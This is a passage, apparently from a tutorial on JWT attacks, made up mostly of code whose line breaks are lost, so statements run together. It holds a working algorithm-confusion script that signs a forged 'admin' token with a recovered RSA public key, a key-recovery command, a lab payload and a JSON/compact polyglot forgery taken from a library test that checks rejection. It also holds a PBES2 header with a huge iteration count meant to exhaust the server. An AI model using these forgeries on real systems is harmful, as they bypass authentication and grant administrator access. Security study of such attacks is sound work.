03 Three New Attacks

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from authlib.jose import jwt, JsonWebKeyfrom time import timeimport json
with open('rsa-key.jwk','r') as keyfile:        key = JsonWebKey.import_key(json.load(keyfile))
header = {'alg': 'RS256'}payload = {'iss': 'secure-issuer','sub':'admin','exp': round(time()) + 3600}token = jwt.encode(header, payload, key).decode()print(token)

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from authlib.jose import jwt,JsonWebKeyimport sys, json
with open('rsa-key.jwk','r') as keyfile:    key = JsonWebKey.import_key(json.load(keyfile))
with open('token.file','r') as tokenfile:    token = tokenfile.read().replace('\n', '')
claims = jwt.decode(token, key)claims.validate()print(claims['sub'])

./jws2pubkey.py -f sample-jws/sample{1,2}.txt | tee pubkey.jwk

import jwtimport base64import binasciiimport hmacimport hashlibimport siximport jsonimport structfrom time import time
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbersfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import serialization
def genPartialJWT(payload):    encoded_jwt = jwt.encode(payload, '', algorithm='HS256')    if isinstance(encoded_jwt, bytes):        encoded_jwt_data = encoded_jwt.decode()    else:        encoded_jwt_data = encoded_jwt    array = encoded_jwt_data.split(".")    partial_jwt = array[0] + "." + array[1]    return partial_jwt
def sign_jwt(partial_jwt, hex_pub_key):    key = bytes.fromhex(hex_pub_key)    message = partial_jwt.encode('utf-8')    signature = hmac.new(key, message, hashlib.sha256).hexdigest()    return signature
def buildJWT(sign, partial_jwt):    b64_sign = (base64.urlsafe_b64encode(binascii.a2b_hex(sign))).decode('utf-8').replace('=','')    new_jwt = partial_jwt + "." + b64_sign    return new_jwt
def intarr2long(arr):    return int(''.join(["%02x" % byte for byte in arr]), 16)

def base64_to_long(data):    if isinstance(data, six.text_type):        data = data.encode("ascii")
    # urlsafe_b64decode will happily convert b64encoded data    _d = base64.urlsafe_b64decode(bytes(data) + b'==')    return intarr2long(struct.unpack('%sB' % len(_d), _d))
def jwk2base64pem(jwk):    exponent = base64_to_long(jwk['e'])    modulus = base64_to_long(jwk['n'])    numbers = RSAPublicNumbers(exponent, modulus)    public_key = numbers.public_key(backend=default_backend())    pem = public_key.public_bytes(        encoding=serialization.Encoding.PEM,        format=serialization.PublicFormat.SubjectPublicKeyInfo    )
    return pem

#if __name__ == '__main__':def buildJwtToken(jwkJson):    json_jwk_load = json.loads(jwkJson)    #jwkJson = {"kty": "RSA", "n": "jvBtqsGCOmnYzwe_-HvgOqlKk6HPiLEzS6uCCcnVkFXrhnkPMZ-uQXTR0u-7ZklF0XC7-AMW8FQDOJS1T7IyJpCyeU4lS8RIf_Z8RX51gPGnQWkRvNw61RfiSuSA45LR5NrFTAAGoXUca_lZnbqnl0td-6hBDVeHYkkpAsSck1NPhlcsn-Pvc2Vleui_Iy1U2mzZCM1Vx6Dy7x9IeP_rTNtDhULDMFbB_JYs-Dg6Zd5Ounb3mP57tBGhLYN7zJkN1AAaBYkElsc4GUsGsUWKqgteQSXZorpf6HdSJsQMZBDd7xG8zDDJ28hGjJSgWBndRGSzQEYU09Xbtzk-8khPuw", "e": "AQAB"}
    pem = jwk2base64pem(json_jwk_load)
    payload = {"iss": "secure-issuer","sub": "admin","exp": round(time()) + 3600}
    partial_jwt = genPartialJWT(payload)    hex_pub_key = pem.hex()    sign = sign_jwt(partial_jwt,hex_pub_key)    new_jwt = buildJWT(sign, partial_jwt)    print(new_jwt)

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payload = {"iss": "portswigger","sub": "administrator","exp": round(time()) + 3600}

{    "protected": "AAAA",    "payload": "BBBB",    "signature": "CCCC"}

{    "AAAA":".XXXX.",    "protected": "AAAA",    "payload": "BBBB",    "signature": "CCCC"}

""" Test claim forgery vulnerability fix """from datetime import timedeltafrom json import loads, dumpsfrom test.common import generated_keysfrom test import python_jwt as jwtfrom pyvows import Vows, expectfrom jwcrypto.common import base64url_decode, base64url_encode
@Vows.batchclass ForgedClaims(Vows.Context):    """ Check we get an error when payload is forged using mix of compact and JSON formats """    def topic(self):        """ Generate token """        payload = {'sub': 'alice'}        return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
    class PolyglotToken(Vows.Context):        """ Make a forged token """        def topic(self, topic):            """ Use mix of JSON and compact format to insert forged claims including long expiration """            [header, payload, signature] = topic.split('.')            parsed_payload = loads(base64url_decode(payload))            parsed_payload['sub'] = 'bob'            parsed_payload['exp'] = 2000000000            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))            return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
        class Verify(Vows.Context):            """ Check the forged token fails to verify """            @Vows.capture_error            def topic(self, topic):                """ Verify the forged token """                return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
            def token_should_not_verify(self, r):                """ Check the token doesn't verify due to mixed format being detected """                expect(r).to_be_an_error()                expect(str(r)).to_equal('invalid JWT format')

{    "alg":"PBES2-HS256+A128KW",    "enc":"A128CBC-HS256",    "kid":"test",    "p2c":2147483647,    "p2s":"hswH6ge-9XSq2KpCblM76g"}

04 Reference

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